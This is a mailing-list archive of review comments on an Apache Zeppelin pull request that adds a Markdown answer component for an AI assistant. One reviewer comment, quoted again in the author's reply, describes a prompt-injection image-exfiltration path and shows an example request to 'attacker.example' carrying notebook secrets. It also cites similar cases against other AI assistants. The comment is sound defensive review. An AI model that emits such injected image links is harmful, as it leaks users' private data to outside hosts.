You are viewing a plain text version of this content. The canonical link for it is here.
Posted to reviews@zeppelin.apache.org by "miinhho (via GitHub)" <gi...@apache.org> on 2026/10/13 10:38:25 UTC
[PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
miinhho opened a new pull request, #5570:
URL: https://github.com/apache/zeppelin/pull/5570
### What is this PR for?
Add a React Markdown answer component for the AI Assistant.
The component renders GFM tables and language-labelled code blocks, supports unclosed code fences during streaming, and reports paragraph reference clicks through a callback. HTML is displayed as text and dangerous link URLs are blocked.
Includes Storybook examples and unit tests for rendering, input updates, paragraph references, and unsafe content.
### What type of PR is it?
Feature
### What is the Jira issue?
https://issues.apache.org/jira/browse/ZEPPELIN-6744
### How should this be tested?
From `zeppelin-web-angular/projects/zeppelin-react`:
```bash
npm ci
npm test -- --maxWorkers=1
npm run typecheck
npm run lint
npm run build:storybook
npm run storybook
```
Open **Assistant / MarkdownAnswer** and check both light and dark themes:
- **GfmTable / SqlCode**: confirm tables and long code lines scroll within the answer, and code blocks show their language.
- **PartialFence / Streaming**: confirm an unclosed fence remains readable as chunks arrive and the following paragraph appears after the fence closes.
- **ParagraphReference**: click the reference and confirm its ID and name appear in the callback status.
- **DangerousContent**: confirm HTML appears as text and dangerous URLs are not navigable.
### Questions:
* Does the license files need to update?
Yes. MIT license entries and texts for react-markdown and remark-gfm are included.
* Is there breaking changes for older versions?
No existing public API is changed.
* Does this needs documentation?
The React README includes a short component description and a pointer to its Storybook examples.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6217519470
Merged into master (baeff2f5).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "miinhho (via GitHub)" <gi...@apache.org>.
miinhho commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6159832320
I found one follow-up issue in the fragment focus handling: setting `tabIndex = -1` unconditionally removes the footnote reference link from the tab order after following a back-reference. The handler now adds `tabIndex` only to non-focusable targets without an explicit `tabindex`, preserving existing tab stops. Added a regression test verifying that focus returns to the reference and it remains keyboard-reachable.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "miinhho (via GitHub)" <gi...@apache.org>.
miinhho commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6159669000
> Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected `` is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.
>
> 
>
> Captured request: `https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK` (a test domain; I intercepted the request).
>
> Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict `img-src` on the host. Escaping HTML and dropping `javascript:` URLs, which this PR already does, does not cover it.
>
> **Related:** this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).
Agreed, thanks for flagging this. I’ll open a follow-up issue to track the image-loading policy so it can be addressed before real LLM output is connected.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on code in PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#discussion_r4265565454
##########
zeppelin-web-angular/projects/zeppelin-react/src/entities/assistant/ui/MarkdownAnswer.tsx:
##########
@@ -0,0 +1,175 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import { createContext, memo, useContext, type ComponentPropsWithoutRef } from 'react';
+import Markdown, { type Components, type ExtraProps } from 'react-markdown';
+import remarkGfm from 'remark-gfm';
+import type { Link, Parent, Root, Text } from 'mdast';
+import type { Plugin, PluggableList } from 'unified';
+
+import * as styles from './MarkdownAnswer.css';
+
+export interface MarkdownAnswerProps {
+ content: string;
+ describeParagraph?: (paragraphId: string) => { text: string; name: string } | undefined;
+ onOpenParagraph?: (paragraphId: string, label: string) => void;
+}
+
+type ParagraphReferences = Pick<MarkdownAnswerProps, 'describeParagraph' | 'onOpenParagraph'>;
+
+const ParagraphReferenceContext = createContext<ParagraphReferences>({});
+const paragraphIdPattern = /^paragraph_\d+_-?\d+$/;
+
+function textReferences(node: Text): Array<Text | Link> | undefined {
+ // Match a complete ID without splitting Unicode letters, numbers or combining marks.
+ const pattern = new RegExp(
+ '(^|[^\\p{L}\\p{N}\\p{M}_+-])(paragraph_\\d+_-?\\d+)(?![\\p{L}\\p{N}\\p{M}_+-])',
+ 'gu'
+ );
+ let references: Array<Text | Link> | undefined;
+ let offset = 0;
+ let match: RegExpExecArray | null;
+
+ while ((match = pattern.exec(node.value)) !== null) {
+ const id = match[2];
+ const start = match.index + match[1].length;
+ references ??= [];
+ if (start > offset) {
+ references.push({ type: 'text', value: node.value.slice(offset, start) });
+ }
+ references.push({ type: 'link', url: `#${id}`, children: [{ type: 'text', value: id }] });
+ offset = start + id.length;
+ }
+
+ if (references && offset < node.value.length) {
+ references.push({ type: 'text', value: node.value.slice(offset) });
+ }
+ return references;
+}
+
+function transformReferences(parent: Parent): void {
+ let children: Parent['children'] | undefined;
+
+ for (let index = 0; index < parent.children.length; index++) {
+ const child = parent.children[index];
+ let references: Array<Text | Link> | undefined;
+ if (child.type === 'text') {
+ references = textReferences(child);
+ } else if (child.type === 'inlineCode' && paragraphIdPattern.test(child.value)) {
+ references = [{ type: 'link', url: `#${child.value}`, children: [child] }];
+ } else if (child.type !== 'link' && child.type !== 'linkReference' && 'children' in child) {
+ transformReferences(child);
+ }
+
+ if (references) {
+ children ??= parent.children.slice(0, index);
+ children.push(...references);
+ } else {
+ children?.push(child);
+ }
+ }
+
+ if (children) parent.children = children;
+}
+
+const remarkParagraphReferences: Plugin<[], Root> = () => transformReferences;
+const remarkPlugins: PluggableList = [remarkGfm, remarkParagraphReferences];
+
+function AnswerLink({ href, children, title }: ComponentPropsWithoutRef<'a'> & ExtraProps) {
+ const { describeParagraph, onOpenParagraph } = useContext(ParagraphReferenceContext);
+
+ if (!href) return <>{children}</>;
+
+ const fragment = href.startsWith('#');
+ const paragraphId = fragment ? href.slice(1) : undefined;
+ if (paragraphId && paragraphIdPattern.test(paragraphId)) {
+ const description = describeParagraph?.(paragraphId);
+ if (description && onOpenParagraph) {
+ return (
+ <button
+ type="button"
+ className={styles.paragraphReference}
+ aria-label={`Show ${description.name} in the notebook`}
Review Comment:
The visible text is "Paragraph 1", but the accessible name is "Show Sales query in the notebook", which does not contain it (WCAG 2.5.3, label in name). "Paragraph 1: show Sales query in the notebook" fixes it; the tests that pin the old name need the same change.
##########
zeppelin-web-angular/projects/zeppelin-react/src/entities/assistant/ui/MarkdownAnswer.tsx:
##########
@@ -0,0 +1,175 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import { createContext, memo, useContext, type ComponentPropsWithoutRef } from 'react';
+import Markdown, { type Components, type ExtraProps } from 'react-markdown';
+import remarkGfm from 'remark-gfm';
+import type { Link, Parent, Root, Text } from 'mdast';
+import type { Plugin, PluggableList } from 'unified';
+
+import * as styles from './MarkdownAnswer.css';
+
+export interface MarkdownAnswerProps {
+ content: string;
+ describeParagraph?: (paragraphId: string) => { text: string; name: string } | undefined;
+ onOpenParagraph?: (paragraphId: string, label: string) => void;
+}
+
+type ParagraphReferences = Pick<MarkdownAnswerProps, 'describeParagraph' | 'onOpenParagraph'>;
+
+const ParagraphReferenceContext = createContext<ParagraphReferences>({});
+const paragraphIdPattern = /^paragraph_\d+_-?\d+$/;
+
+function textReferences(node: Text): Array<Text | Link> | undefined {
+ // Match a complete ID without splitting Unicode letters, numbers or combining marks.
+ const pattern = new RegExp(
+ '(^|[^\\p{L}\\p{N}\\p{M}_+-])(paragraph_\\d+_-?\\d+)(?![\\p{L}\\p{N}\\p{M}_+-])',
+ 'gu'
+ );
+ let references: Array<Text | Link> | undefined;
+ let offset = 0;
+ let match: RegExpExecArray | null;
+
+ while ((match = pattern.exec(node.value)) !== null) {
+ const id = match[2];
+ const start = match.index + match[1].length;
+ references ??= [];
+ if (start > offset) {
+ references.push({ type: 'text', value: node.value.slice(offset, start) });
+ }
+ references.push({ type: 'link', url: `#${id}`, children: [{ type: 'text', value: id }] });
+ offset = start + id.length;
+ }
+
+ if (references && offset < node.value.length) {
+ references.push({ type: 'text', value: node.value.slice(offset) });
+ }
+ return references;
+}
+
+function transformReferences(parent: Parent): void {
+ let children: Parent['children'] | undefined;
+
+ for (let index = 0; index < parent.children.length; index++) {
+ const child = parent.children[index];
+ let references: Array<Text | Link> | undefined;
+ if (child.type === 'text') {
+ references = textReferences(child);
+ } else if (child.type === 'inlineCode' && paragraphIdPattern.test(child.value)) {
+ references = [{ type: 'link', url: `#${child.value}`, children: [child] }];
+ } else if (child.type !== 'link' && child.type !== 'linkReference' && 'children' in child) {
+ transformReferences(child);
+ }
+
+ if (references) {
+ children ??= parent.children.slice(0, index);
+ children.push(...references);
+ } else {
+ children?.push(child);
+ }
+ }
+
+ if (children) parent.children = children;
+}
+
+const remarkParagraphReferences: Plugin<[], Root> = () => transformReferences;
+const remarkPlugins: PluggableList = [remarkGfm, remarkParagraphReferences];
+
+function AnswerLink({ href, children, title }: ComponentPropsWithoutRef<'a'> & ExtraProps) {
Review Comment:
`AnswerLink` drops `id`, `aria-*` and `data-footnote-*`, so the footnote back-reference links break. Forwarding the remaining anchor props (before `href`/`target`/`rel`, so content cannot override them) fixes it.
With two answers on one page, the footnote ids (including the heading id `footnote-label`) collide, so the second answer's `[^1]` jumps to the first. Each answer needs its own prefix for `clobberPrefix`, the heading id and `aria-describedby`.
The host uses hash routing, so a plain `#…` link may also be taken by the router (not verified here). Handling it in a click handler that scrolls to the target and moves focus is safer.
##########
zeppelin-web-angular/projects/zeppelin-react/src/entities/assistant/ui/MarkdownAnswer.tsx:
##########
@@ -0,0 +1,175 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import { createContext, memo, useContext, type ComponentPropsWithoutRef } from 'react';
+import Markdown, { type Components, type ExtraProps } from 'react-markdown';
+import remarkGfm from 'remark-gfm';
+import type { Link, Parent, Root, Text } from 'mdast';
+import type { Plugin, PluggableList } from 'unified';
+
+import * as styles from './MarkdownAnswer.css';
+
+export interface MarkdownAnswerProps {
+ content: string;
+ describeParagraph?: (paragraphId: string) => { text: string; name: string } | undefined;
+ onOpenParagraph?: (paragraphId: string, label: string) => void;
+}
+
+type ParagraphReferences = Pick<MarkdownAnswerProps, 'describeParagraph' | 'onOpenParagraph'>;
+
+const ParagraphReferenceContext = createContext<ParagraphReferences>({});
+const paragraphIdPattern = /^paragraph_\d+_-?\d+$/;
+
+function textReferences(node: Text): Array<Text | Link> | undefined {
+ // Match a complete ID without splitting Unicode letters, numbers or combining marks.
+ const pattern = new RegExp(
+ '(^|[^\\p{L}\\p{N}\\p{M}_+-])(paragraph_\\d+_-?\\d+)(?![\\p{L}\\p{N}\\p{M}_+-])',
+ 'gu'
+ );
+ let references: Array<Text | Link> | undefined;
+ let offset = 0;
+ let match: RegExpExecArray | null;
+
+ while ((match = pattern.exec(node.value)) !== null) {
+ const id = match[2];
+ const start = match.index + match[1].length;
+ references ??= [];
+ if (start > offset) {
+ references.push({ type: 'text', value: node.value.slice(offset, start) });
+ }
+ references.push({ type: 'link', url: `#${id}`, children: [{ type: 'text', value: id }] });
+ offset = start + id.length;
+ }
+
+ if (references && offset < node.value.length) {
+ references.push({ type: 'text', value: node.value.slice(offset) });
+ }
+ return references;
+}
+
+function transformReferences(parent: Parent): void {
+ let children: Parent['children'] | undefined;
+
+ for (let index = 0; index < parent.children.length; index++) {
+ const child = parent.children[index];
+ let references: Array<Text | Link> | undefined;
+ if (child.type === 'text') {
+ references = textReferences(child);
+ } else if (child.type === 'inlineCode' && paragraphIdPattern.test(child.value)) {
+ references = [{ type: 'link', url: `#${child.value}`, children: [child] }];
+ } else if (child.type !== 'link' && child.type !== 'linkReference' && 'children' in child) {
+ transformReferences(child);
+ }
+
+ if (references) {
+ children ??= parent.children.slice(0, index);
+ children.push(...references);
+ } else {
+ children?.push(child);
+ }
+ }
+
+ if (children) parent.children = children;
+}
+
+const remarkParagraphReferences: Plugin<[], Root> = () => transformReferences;
+const remarkPlugins: PluggableList = [remarkGfm, remarkParagraphReferences];
+
+function AnswerLink({ href, children, title }: ComponentPropsWithoutRef<'a'> & ExtraProps) {
+ const { describeParagraph, onOpenParagraph } = useContext(ParagraphReferenceContext);
+
+ if (!href) return <>{children}</>;
+
+ const fragment = href.startsWith('#');
+ const paragraphId = fragment ? href.slice(1) : undefined;
+ if (paragraphId && paragraphIdPattern.test(paragraphId)) {
+ const description = describeParagraph?.(paragraphId);
+ if (description && onOpenParagraph) {
+ return (
+ <button
+ type="button"
+ className={styles.paragraphReference}
+ aria-label={`Show ${description.name} in the notebook`}
+ onClick={() => onOpenParagraph(paragraphId, description.name)}
+ >
+ {description.text}
+ </button>
+ );
+ }
+ return <>{children}</>;
+ }
+
+ // react-markdown has already applied its default URL safety transform.
+ return (
+ <a
+ href={href}
+ title={title}
+ target={fragment ? undefined : '_blank'}
+ rel={fragment ? undefined : 'noopener noreferrer'}
+ >
+ {children}
+ </a>
+ );
+}
+
+function AnswerCodeBlock({ node, children, ...props }: ComponentPropsWithoutRef<'pre'> & ExtraProps) {
+ const code = node?.children.find(child => child.type === 'element' && child.tagName === 'code');
+ const classNames = code?.type === 'element' ? code.properties.className : undefined;
+ const languageClass = Array.isArray(classNames)
+ ? classNames.find(className => typeof className === 'string' && className.startsWith('language-'))
+ : undefined;
+ const language = typeof languageClass === 'string' ? languageClass.slice('language-'.length) : 'Code';
+
+ return (
+ <div className={styles.codeBlock}>
+ <div className={styles.codeLanguage}>{language}</div>
+ <pre {...props} className={styles.codeSource} tabIndex={0} aria-label={`${language} block`}>
+ {children}
+ </pre>
+ </div>
+ );
+}
+
+function AnswerTable({ node: _node, children, ...props }: ComponentPropsWithoutRef<'table'> & ExtraProps) {
+ return (
+ <div className={styles.tableScroll} role="region" aria-label="Scrollable table" tabIndex={0}>
+ <table {...props}>{children}</table>
+ </div>
+ );
+}
+
+const components: Components = {
+ a: AnswerLink,
+ pre: AnswerCodeBlock,
+ table: AnswerTable
+};
+
+export const MarkdownAnswer = memo(function MarkdownAnswer({
+ content,
+ describeParagraph,
+ onOpenParagraph
+}: MarkdownAnswerProps) {
+ return (
+ <ParagraphReferenceContext.Provider value={{ describeParagraph, onOpenParagraph }}>
+ <div className={styles.answer}>
+ <Markdown remarkPlugins={remarkPlugins} components={components}>
Review Comment:
The footnotes section renders `<h2 class="sr-only">Footnotes</h2>`, but nothing defines `sr-only` here, so it shows as a large heading (before). Passing `footnoteLabelProperties: { className: [visuallyHidden] }` reuses the existing `visuallyHidden` style (after).
| Before | After |
| --- | --- |
|  |  |
##########
zeppelin-web-angular/projects/zeppelin-react/src/entities/assistant/ui/MarkdownAnswer.tsx:
##########
@@ -0,0 +1,175 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import { createContext, memo, useContext, type ComponentPropsWithoutRef } from 'react';
+import Markdown, { type Components, type ExtraProps } from 'react-markdown';
+import remarkGfm from 'remark-gfm';
+import type { Link, Parent, Root, Text } from 'mdast';
+import type { Plugin, PluggableList } from 'unified';
+
+import * as styles from './MarkdownAnswer.css';
+
+export interface MarkdownAnswerProps {
+ content: string;
+ describeParagraph?: (paragraphId: string) => { text: string; name: string } | undefined;
+ onOpenParagraph?: (paragraphId: string, label: string) => void;
+}
+
+type ParagraphReferences = Pick<MarkdownAnswerProps, 'describeParagraph' | 'onOpenParagraph'>;
+
+const ParagraphReferenceContext = createContext<ParagraphReferences>({});
+const paragraphIdPattern = /^paragraph_\d+_-?\d+$/;
+
+function textReferences(node: Text): Array<Text | Link> | undefined {
+ // Match a complete ID without splitting Unicode letters, numbers or combining marks.
+ const pattern = new RegExp(
+ '(^|[^\\p{L}\\p{N}\\p{M}_+-])(paragraph_\\d+_-?\\d+)(?![\\p{L}\\p{N}\\p{M}_+-])',
+ 'gu'
+ );
+ let references: Array<Text | Link> | undefined;
+ let offset = 0;
+ let match: RegExpExecArray | null;
+
+ while ((match = pattern.exec(node.value)) !== null) {
+ const id = match[2];
+ const start = match.index + match[1].length;
+ references ??= [];
+ if (start > offset) {
+ references.push({ type: 'text', value: node.value.slice(offset, start) });
+ }
+ references.push({ type: 'link', url: `#${id}`, children: [{ type: 'text', value: id }] });
+ offset = start + id.length;
+ }
+
+ if (references && offset < node.value.length) {
+ references.push({ type: 'text', value: node.value.slice(offset) });
+ }
+ return references;
+}
+
+function transformReferences(parent: Parent): void {
+ let children: Parent['children'] | undefined;
+
+ for (let index = 0; index < parent.children.length; index++) {
+ const child = parent.children[index];
+ let references: Array<Text | Link> | undefined;
+ if (child.type === 'text') {
+ references = textReferences(child);
+ } else if (child.type === 'inlineCode' && paragraphIdPattern.test(child.value)) {
+ references = [{ type: 'link', url: `#${child.value}`, children: [child] }];
+ } else if (child.type !== 'link' && child.type !== 'linkReference' && 'children' in child) {
+ transformReferences(child);
+ }
+
+ if (references) {
+ children ??= parent.children.slice(0, index);
+ children.push(...references);
+ } else {
+ children?.push(child);
+ }
+ }
+
+ if (children) parent.children = children;
+}
+
+const remarkParagraphReferences: Plugin<[], Root> = () => transformReferences;
+const remarkPlugins: PluggableList = [remarkGfm, remarkParagraphReferences];
+
+function AnswerLink({ href, children, title }: ComponentPropsWithoutRef<'a'> & ExtraProps) {
+ const { describeParagraph, onOpenParagraph } = useContext(ParagraphReferenceContext);
+
+ if (!href) return <>{children}</>;
+
+ const fragment = href.startsWith('#');
+ const paragraphId = fragment ? href.slice(1) : undefined;
+ if (paragraphId && paragraphIdPattern.test(paragraphId)) {
+ const description = describeParagraph?.(paragraphId);
+ if (description && onOpenParagraph) {
+ return (
+ <button
+ type="button"
+ className={styles.paragraphReference}
+ aria-label={`Show ${description.name} in the notebook`}
+ onClick={() => onOpenParagraph(paragraphId, description.name)}
+ >
+ {description.text}
+ </button>
+ );
+ }
+ return <>{children}</>;
+ }
+
+ // react-markdown has already applied its default URL safety transform.
+ return (
+ <a
+ href={href}
+ title={title}
+ target={fragment ? undefined : '_blank'}
+ rel={fragment ? undefined : 'noopener noreferrer'}
+ >
+ {children}
+ </a>
+ );
+}
+
+function AnswerCodeBlock({ node, children, ...props }: ComponentPropsWithoutRef<'pre'> & ExtraProps) {
+ const code = node?.children.find(child => child.type === 'element' && child.tagName === 'code');
+ const classNames = code?.type === 'element' ? code.properties.className : undefined;
+ const languageClass = Array.isArray(classNames)
+ ? classNames.find(className => typeof className === 'string' && className.startsWith('language-'))
+ : undefined;
+ const language = typeof languageClass === 'string' ? languageClass.slice('language-'.length) : 'Code';
+
+ return (
+ <div className={styles.codeBlock}>
+ <div className={styles.codeLanguage}>{language}</div>
+ <pre {...props} className={styles.codeSource} tabIndex={0} aria-label={`${language} block`}>
Review Comment:
`aria-label` on a plain `<pre>` is not allowed by ARIA in HTML (axe: `aria-prohibited-attr`). `role="region"`, like `AnswerTable`, makes it valid.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on code in PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#discussion_r4265565454
##########
zeppelin-web-angular/projects/zeppelin-react/src/entities/assistant/ui/MarkdownAnswer.tsx:
##########
@@ -0,0 +1,175 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import { createContext, memo, useContext, type ComponentPropsWithoutRef } from 'react';
+import Markdown, { type Components, type ExtraProps } from 'react-markdown';
+import remarkGfm from 'remark-gfm';
+import type { Link, Parent, Root, Text } from 'mdast';
+import type { Plugin, PluggableList } from 'unified';
+
+import * as styles from './MarkdownAnswer.css';
+
+export interface MarkdownAnswerProps {
+ content: string;
+ describeParagraph?: (paragraphId: string) => { text: string; name: string } | undefined;
+ onOpenParagraph?: (paragraphId: string, label: string) => void;
+}
+
+type ParagraphReferences = Pick<MarkdownAnswerProps, 'describeParagraph' | 'onOpenParagraph'>;
+
+const ParagraphReferenceContext = createContext<ParagraphReferences>({});
+const paragraphIdPattern = /^paragraph_\d+_-?\d+$/;
+
+function textReferences(node: Text): Array<Text | Link> | undefined {
+ // Match a complete ID without splitting Unicode letters, numbers or combining marks.
+ const pattern = new RegExp(
+ '(^|[^\\p{L}\\p{N}\\p{M}_+-])(paragraph_\\d+_-?\\d+)(?![\\p{L}\\p{N}\\p{M}_+-])',
+ 'gu'
+ );
+ let references: Array<Text | Link> | undefined;
+ let offset = 0;
+ let match: RegExpExecArray | null;
+
+ while ((match = pattern.exec(node.value)) !== null) {
+ const id = match[2];
+ const start = match.index + match[1].length;
+ references ??= [];
+ if (start > offset) {
+ references.push({ type: 'text', value: node.value.slice(offset, start) });
+ }
+ references.push({ type: 'link', url: `#${id}`, children: [{ type: 'text', value: id }] });
+ offset = start + id.length;
+ }
+
+ if (references && offset < node.value.length) {
+ references.push({ type: 'text', value: node.value.slice(offset) });
+ }
+ return references;
+}
+
+function transformReferences(parent: Parent): void {
+ let children: Parent['children'] | undefined;
+
+ for (let index = 0; index < parent.children.length; index++) {
+ const child = parent.children[index];
+ let references: Array<Text | Link> | undefined;
+ if (child.type === 'text') {
+ references = textReferences(child);
+ } else if (child.type === 'inlineCode' && paragraphIdPattern.test(child.value)) {
+ references = [{ type: 'link', url: `#${child.value}`, children: [child] }];
+ } else if (child.type !== 'link' && child.type !== 'linkReference' && 'children' in child) {
+ transformReferences(child);
+ }
+
+ if (references) {
+ children ??= parent.children.slice(0, index);
+ children.push(...references);
+ } else {
+ children?.push(child);
+ }
+ }
+
+ if (children) parent.children = children;
+}
+
+const remarkParagraphReferences: Plugin<[], Root> = () => transformReferences;
+const remarkPlugins: PluggableList = [remarkGfm, remarkParagraphReferences];
+
+function AnswerLink({ href, children, title }: ComponentPropsWithoutRef<'a'> & ExtraProps) {
+ const { describeParagraph, onOpenParagraph } = useContext(ParagraphReferenceContext);
+
+ if (!href) return <>{children}</>;
+
+ const fragment = href.startsWith('#');
+ const paragraphId = fragment ? href.slice(1) : undefined;
+ if (paragraphId && paragraphIdPattern.test(paragraphId)) {
+ const description = describeParagraph?.(paragraphId);
+ if (description && onOpenParagraph) {
+ return (
+ <button
+ type="button"
+ className={styles.paragraphReference}
+ aria-label={`Show ${description.name} in the notebook`}
Review Comment:
The button's visible text is "Paragraph 1", but its `aria-label` replaces it, so the accessible name becomes "Show Sales query in the notebook" and no longer contains "Paragraph 1". That breaks WCAG 2.5.3 (Label in Name): a voice-control user saying "click Paragraph 1" can't reach it, and a screen reader reads something different from what sighted users see. Starting the name with the visible text, e.g. "Paragraph 1: show Sales query in the notebook", fixes it. The tests that look the button up by the old name need the same change.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6158231443
Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected `` is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.
Captured request: `https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK` (a test domain; I intercepted the request).
Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict `img-src` on the host. Escaping HTML and dropping `javascript:` URLs, which this PR already does, does not cover it.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "voidmatcha (via GitHub)" <gi...@apache.org>.
voidmatcha commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6158231694
All non-blocking.
- **Performance:** `memo` is defeated when the parent passes inline callbacks, so every keystroke in a sibling input parses the whole answer again. `memo` -> `useMemo` (keep the parsed element keyed on `content`). In a synthetic benchmark (4x CPU throttle, typing while streaming), p95 input latency for a ~10KB answer went 72 -> 24ms.
- **Conventions:** like #5567, `memo(function X() {})` -> `export const X = () => {}`, props JSDoc, relative import -> `@/` alias.
- **Headers:** other files in this folder use the short `Licensed under the Apache License…` header. Both pass RAT and the ASF source-header policy names the long form as the standard, so it may be best to unify the repo in one go later (https://www.apache.org/legal/src-headers.html).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: reviews-unsubscribe@zeppelin.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [PR] [ZEPPELIN-6744] Add AI Assistant Markdown answer component [zeppelin]
Posted by "miinhho (via GitHub)" <gi...@apache.org>.
miinhho commented on PR #5570:
URL: https://github.com/apache/zeppelin/pull/5570#issuecomment-6143722909
